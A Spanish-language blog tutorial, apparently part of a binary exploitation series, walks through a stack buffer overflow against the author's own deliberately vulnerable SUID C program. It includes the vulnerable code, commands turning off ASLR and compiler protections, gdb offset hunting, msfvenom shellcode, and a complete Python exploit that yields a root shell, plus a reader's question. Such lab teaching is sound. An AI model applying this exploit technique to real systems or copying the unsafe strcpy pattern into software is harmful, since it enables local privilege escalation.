Binary Exploitation [02]: My First Buffer Overflow

bof-image

Continuando este primer paper de INTRO: https://myhack.tech/blog/binary-exploitation-01-intro/

Bueno al fin vamos a la parte divertida y vamos a compilar un programa en “C” en el cual vamos a detectar que es vulnerable a Buffer Overflow y este va a tener SUID activado.

Para aquellos que aun no manejen estos conceptos, vamos a definirlo rápidamente.


O conocido en español como: Desbordamiento de Buffer. En principio podemos decir que se distinguen dos tipos primarios de buffer overflow; estos son los desbordamientos de buffer basados en la pila (STACK) y los desbordamientos de buffer basados en el montón (HEAP).

Un desbordamiento de buffer ocurre cuando un programa intenta llenar un bloque de memoria (un buffer de memoria) con más datos de los que este debería contener. Los BoF son vulnerabilidades comunes en aplicaciones de software que se pueden explotar para lograr la ejecución de código remoto (RCE) o realizar por ejemplo un ataque de Denegación de Servicio (DoS).


// Simple BufferOverflow <shkz>

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

void myfunc(char *pwn){
    char buffer[250];
    strcpy(buffer,pwn);
    setuid(0);
    printf("No sos un buen hacker\n");}
int main(int argc, char *argv[]){
    if(argc <2) {
    printf("Usage: ./b0fMe <input>\n");
    exit(1);
    }
    myfunc(argv[1]);
    return 0;
}
C

En la función , se declara buffer con un tamaño fijo de 250 bytes. Sin embargo, el programa no verifica si los datos proporcionados en el argumento pwn exceden ese tamaño.

Luego el programa utiliza la función para copiar la cadena de caracteres desde pwn al buffer. no realiza comprobaciones de límites y simplemente copia datos ciegamente haciendo que sobrescriba la memoria adyacente a buffer.

Y como extra, le pusimos un setuid(0); para que la shell que nos de tenga permisos de root.


En este primer binario vamos a deshabilitar todas las protecciones, y luego a medida que vaya publicando nuevos textos ire habilitandolas e iremos tratando bypassearlas una por una.


Mas adelante explicare que es esto en profundidad, pero en principio quedarse con el concepto de que Address Space Layout Randomization es una técnica de seguridad que intenta dificultar la explotación del binario agregando una aleatoriedad a las direcciones de memoria que se cambian cada vez que inicia el programa y así hacer mas impredecible la explotación del mismo.
Por default en mi caso de Arch el valor esta en: 2, vamos a deshabilitar con 0.
(Al reiniciar el sistema, esto se restablecerá. Para hacerlo permanente tienen que hacerlo via sysctl)

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Bash

Como es un código en C, tenemos que compilarlo y para esto lo haremos del siguiente modo deshabilitando algunas protecciones al mismo:

Primero compilaremos esto como ROOT, con las siguientes flags deshabilitamos protecciones y con -g le decimos que adjunte el source code para mayor claridad al momento de debuggear:

gcc -no-pie -fno-stack-protector b0fMe.c -o b0fMe -D_FORTIFY_SOURCE=0 -g -z execstack

chmod +s ./b0fMe
Bash


Este binario se enfoca simplemente en el bof. No tiene mucho por hacer. Mas que un mensaje desafiante de respuesta:


Algo muy practico y rápido es ejecutar el binario e invocar la ayuda de python o perl para imprimir bytes rápidamente y testear el buffer. Testeamos con 300 bytes:

./b0fMe $(python3 -c 'print ("A" * 300)')
Bash


Como vemos logramos el Segmentation Fault. En pocas palabras, desbordamos el buffer. Algo lógico conociendo la capacidad que este tenia.


Un fallo de segmentación (de ahora en mas: segfault) es una condición común que causa que los programas se bloqueen o se detengan. Generalmente ocurre cuando el programa intenta acceder/escribir a una posición de memoria a la que no está permitido.


Para explotar este BoF optaremos por pensar en lo siguiente:

  • Detectar con cuantos Bytes se rompe el programa, el cual nos permitirá sobrescribir el registro RBP.
  • Crear alguna shellcode que nos permita luego ejecutar /bin/sh
  • Cambiar el flujo del programa con el registro RIP para que apunte a nuestra shellcode.
  • Al explotar finalmente, seremos obtendremos shell como root.

Voy a usar GDB con algunos auxiliares para reversing y explotacion de binarios. En este link pueden ver cuales recomiendo y como configure dichos complementos:

https://myhack.tech/blog/complementos-de-reversing-y-exploiting-para-gdb/

  • gdb-gef
  • gdb-pwndbg
  • gdb-peda

Ejecutamos gdb-gef para depurar el binario:

 gdb-gef -q ./b0fMe
Bash

Dentro de gdb-gef, podemos utilizar una función llamada pattern create para generar un patron de caracteres del siguiente modo:

gef➤  pattern create 300
Bash

Al igual que hicimos con el oneline de python, con esta función generamos un patron de caracteres que nos va a permitir identificar de forma mas fácil cuando desborda y sobrescribe el registro RBP.

Cuando creamos un pattern, este se genera con un nombre predefinido, en este caso: “$_gef1”:


A continuación corremos el binario y le pasamos el payload creado como input:

gef➤  gef run $_gef1
Bash

Vemos que GDB nos informa que termino el programa en segfault, justo en la función vulnerable que es donde se encuentra el buffer:


Si ahora miramos el valor de los registros, vamos a ver lo siguiente:


$rbp contiene parte del patron enviado en el payload, y este nos puede ser util para localizar el offset con la siguiente función: pattern search haaaaaab:


Bien, nos hacemos la idea de que vamos a necesitar enviar 256 bytes para sobrescribir RBP, luego los próximos 8 bytes son dedicados al SFP (Stack Frame Pointer | Marco de Pila) y finalmente 6 bytes mas para controlar RIP.

Vamos a ejemplificar esto ultimo para entenderlo mejor. Ejecutemos el siguiente payload y comprobemos si es acertada nuestra idea o no, si todo sale bien, deberíamos tener el control de RIP:

r $(perl -e 'print "A"x256')BBBBBBBBCCCCCC
Bash

Ahora si miramos los registros:

i r rbp rip
Bash


Vemos que $rbp fue modificado con los 8 bytes que le enviamos de la letra B (0x42) y luego el registro instruction pointer \$rip fue modificado a los 6 bytes de la letra C (0x43).

Como vimos, $rip apunta a 0x434343434343, por eso es que gdb lo marca con un ??, al no ser una dirección real.

En resumen, con esto sabemos que podemos hacer un BoF, modificar el rbp y controlar rip. Entonces solo queda craftear una Shellcode para explotar el binario y obtener una /bin/sh, y como controlamos RIP apuntara a nuestra shellcode.


Es una técnica muy vieja y conocida. Se basa en generar una secuencia de instrucciones NOP (No-Operation) donde se redirige la ejecución del programa cuando un objetivo de una instrucción no se conoce exactamente.

Cuando escribimos un exploit para aprovechar alguna vulnerabilidad en un programa, es esencial pensar que dicho programa puede ser compilado en diversos entornos, resultando en direcciones de memoria distintas.

Para encarar este problema, se recurre a una técnica llamada NOP slide, que implica dirigir la ejecución del programa hacia una región de memoria llenas de instrucciones NOP. La instrucción NOP en lenguaje ensamblador está diseñada para no hacer nada básicamente.

Entonces en nuestro ejemplo, cuando creamos el exploit la dirección de retorno apuntara hacia algunas direcciones de las instrucciones NOP que les enviamos al buffer, permitiendo que la ejecución continúe directamente hasta el inicio del shellcode sin ningún problema. De este modo no necesitaríamos con exactitud saber la direccion de donde comienza nuestra shellcode.

Para determinar cuántas instrucciones NOP necesitamos, se realiza un cálculo restando la longitud de nuestro shellcode al tamaño total del buffer.


Una shellcode es un fragmento de código de instrucciones en lenguaje ensamblador y trasladadas a opcodes que suelen ser inyectadas en la pila (o stack)
de ejecución de un programa para conseguir que la máquina en la que reside se
ejecute la operación que se haya programado. Por ejemplo aprovechar para realizar acciones específicas, como en este caso, obtener una shell (/bin/sh) u otorgarle SUID Root.

En esta ocasión vamos a generar un shellcode con MSFVENOM. Sin profundizar mucho en esta ocasion, ya luego veremos sobre la creación de shellcodes, eliminación de badchars, etc etc. De momento para este caso, lo creo del siguiente modo:

msfvenom -p linux/x64/exec --platform linux -f c -b '\x00\x09\x0a\x20\x0d'
Bash

Una vez que tenemos nuestra shellcode. Vamos a crear un pequeño script en python llamado “exploit.py“. Iremos haciéndolo paso a paso.



Lo primero que debería tener este template del PoC es la shellcode, ya que es lo primero asegurado que tenemos:

import sys


# Shellcode -- /bin/sh @ msfvenom

shellcode = b"\x48\x31\xc9\x48\x81\xe9\xfd\xff\xff\xff\x48\x8d\x05\xef"
shellcode += b"\xff\xff\xff\x48\xbb\xb5\xfb\xfb\x9b\xfe\x95\x0c\x70\x48"
shellcode += b"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xfd\x43\xd4"
shellcode += b"\xf9\x97\xfb\x23\x03\xdd\xfb\x62\xcb\xaa\xca\x5e\x2e\xdf"
shellcode += b"\xc0\xa3\x94\xfb\x95\x0c\x70";
Bash

Luego creamos una secuencia de NOPs (‘\x90’) con una longitud de 256 bytes (valor de buffer) menos la longitud del shellcode, de este modo nos aseguramos espacio para nuestra shellcode en buffer.

nop = b"\x90"*(256-len(shellcode))
Bash

rbp = b"\x90"*8
Bash

import sys

# Shellcode -- /bin/sh @ msfvenom

shellcode = b"\x48\x31\xc9\x48\x81\xe9\xfd\xff\xff\xff\x48\x8d\x05\xef"
shellcode += b"\xff\xff\xff\x48\xbb\xb5\xfb\xfb\x9b\xfe\x95\x0c\x70\x48"
shellcode += b"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xfd\x43\xd4"
shellcode += b"\xf9\x97\xfb\x23\x03\xdd\xfb\x62\xcb\xaa\xca\x5e\x2e\xdf"
shellcode += b"\xc0\xa3\x94\xfb\x95\x0c\x70";

# Set values

nop = b"\x90"*(256-len(shellcode))
rbp = b"\x90"*8


sys.stdout.buffer.write(nop+shellcode+rbp)
Bash

Con sys.stdout.buffer.write es una forma de escribir bytes directamente en el buffer de salida estándar (stdout) y no realiza ninguna codificación de caracteres.
Esto no agrega el carácter de nueva línea \n al final.

Lo ultimo que nos quedaria es darle una direccion a RIP para que apunte a la zona de nuestra shellcode. Pero primero ejecutemos nuestro PoC parcial y verifiquemos:


python3 exploit.py >exploit
Bash


Así seria el contenido del archivo generado por nuestro EXPLOIT.PY hacia un archivo llamado exploit.
Ahí podemos ver la cantidad de los NOPs inundando el BUFFER y luego nuestra shellcode al final + los últimos 8 bytes de NOPs para sobrescribir RBP.

Volvemos a ejecutar el binario con gdb:

gdb-gef -q ./b0fMe
Bash

Ahora seteamos un breakpoint en main y luego ejecutamos nuestro exploit parcial:

b main

r $(cat exploit)
Bash


Para en nuestro breakpoint de MAIN. Ahora setearemos un breakpoint en el ultimo RET de la función vulnerable “myfunc”, justo antes de que se produzca el segmentation fault:


disassemble myfunc

b *0x000000000040119c
Bash


Volvemos a apretar “c” para continuar la ejecución del binario y parara en nuestro breakpoint de “myfunc”:



Si hacemos un info register de RBP nos muestra lo siguiente:

i r rbp

rbp            0x9090909090909090  0x9090909090909090
Bash

Significa que logramos NOPear el RBP, y si ahora examinamos varias direcciones de memoria a partir de la direccion almacenada en el registro del stack pointer ($rsp) y lo mostramos en hexadecimal veremos lo siguiente:

x/180xg $rsp
Bash


Como vemos ahí están todos nuestros Nops inundando y nuestra shellcode.
Bien solo restaría setear alguna de esas direcciones donde están los NOps para que cuando ingrese a esa zona, aprovechemos el Nop-slide y fluya hasta ejecutar nuestra shellcode. Para este ejemplo elegiré la siguiente direccion y la pondré la seteo en el exploit: 0x7fffffffe8c8

Para setearla en el exploit tenemos que setearla del modo inverso ya que el CPU lo entiende en Little-Endian (mas adelante mostrare que hay formas con python con struct, y alternativas para ponerlas directamente, pero de momento la ponemos asi):

ret = b"\xc8\xe8\xff\xff\xff\x7f"
Bash

Finalmente generamos nuestro payload y concatenamos todo lo que tenemos:

sys.stdout.buffer.write(nop+shellcode+rbp+rip)
Bash

import sys

# Shellcode -- /bin/sh @ msfvenom
# shkz 

shellcode = b"\x48\x31\xc9\x48\x81\xe9\xfd\xff\xff\xff\x48\x8d\x05\xef"
shellcode += b"\xff\xff\xff\x48\xbb\xb5\xfb\xfb\x9b\xfe\x95\x0c\x70\x48"
shellcode += b"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xfd\x43\xd4"
shellcode += b"\xf9\x97\xfb\x23\x03\xdd\xfb\x62\xcb\xaa\xca\x5e\x2e\xdf"
shellcode += b"\xc0\xa3\x94\xfb\x95\x0c\x70";

# Set values

nop = b"\x90"*(256-len(shellcode))
rbp = b"\x90"*8
ret = b"\xb8\xe8\xff\xff\xff\x7f"

# Crafting Pwned

sys.stdout.buffer.write(nop+shellcode+rbp+ret)
Bash

Generamos el exploit:

python3 exploit.py >exploit
Bash

Y si lo ejecutamos:



Somos root 😀

Por ultimo, si analizamos el exploit en el gdb, repitiendo los pasos de antes, poniendo un breakpoint en Main y luego en el RET de myfunc:



Finalmente si examinamos el memory layout:

x/180xg $rsp
Bash


Hasta el próximo paper donde empezare a activar las protecciones.

Muchas gracias,
shkz | MyHack.tech




References:
http://ref.x86asm.net/coder64.html
https://en.wikipedia.org/wiki/Assembly_language
https://valsmaras.medium.com/
https://www.amazon.co.uk/Hacking-Art-Exploitation-Jon-Erickson/dp/1593271441
https://eli.thegreenplace.net/2011/02/04/where-the-top-of-the-stack-is-on-x86/
https://en.wikipedia.org/wiki/NOP_slide
https://es.wikipedia.org/wiki/Endianness

One Response

  1. Hola!!! Muy buena la explicación! Solo me queda una duda, el tema de los NOP es porque tenés que completar hasta 256 con algo ? O sea shell + NOP tiene que tener 256 para que después vengan a pisar los registros RBP y RET? Y otra pregunta, entonces también se puede hacer al revés tipo SHELL + NOPs?? O siempre es NOPs + SHELL? Gracias!!!

Leave a Reply

Your email address will not be published. Required fields are marked *

More!..